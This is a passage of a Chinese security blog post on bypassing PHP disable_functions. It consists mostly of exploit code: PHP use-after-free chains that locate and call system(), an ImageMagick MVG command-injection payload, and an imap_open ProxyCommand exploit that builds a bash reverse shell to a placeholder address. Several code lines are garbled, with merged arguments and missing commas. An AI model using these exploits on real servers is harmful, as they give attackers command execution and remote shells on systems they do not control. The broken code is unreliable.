    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x602);
    write($abc, 0x706);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x180xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x3814); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

json

<?php

$cmd = "id";

$n_alloc = 10# increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x100xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x206); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x102);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x362);
        $e_phnum = $this->leak2($base, 0x382);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 04);
            $p_flags = $this->leak2($header, 44);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 07);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 06);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(078);

        $this->abc = $this->ptr2str(079);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 02); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 810); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 414);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);

ImageMagick

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "n";

function AAAA(){
$command = 'curl 127.0.0.1:7777';

$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;


file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
}
AAAA();
?>

imap_open RCE漏洞

<?php
$payload = "/bin/bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1";
$base64 = base64_encode($payload);
$server = "any -oProxyCommand=echot{$base64}|base64t-d|bash";
@imap_open("{".$server."}:143/imap}INBOX","","");


【表哥有话说 第77期】bypass disable_functions

今天的芝士知识分享就结束啦【表哥有话说 第77期】bypass disable_functions


学习不是一朝一夕之事


一定要坚持学习呀


早日成为带黑客!!

【表哥有话说 第77期】bypass disable_functions


长按下方的二维码关注我们


下期表哥们的干货已经在等你了【表哥有话说 第77期】bypass disable_functions


【表哥有话说 第77期】bypass disable_functions


原文始发于微信公众号(SKSEC):【表哥有话说 第77期】bypass disable_functions

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月24日23:21:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第77期】bypass disable_functionshttp://cn-sec.com/archives/1196673.html

发表评论

匿名网友 填写信息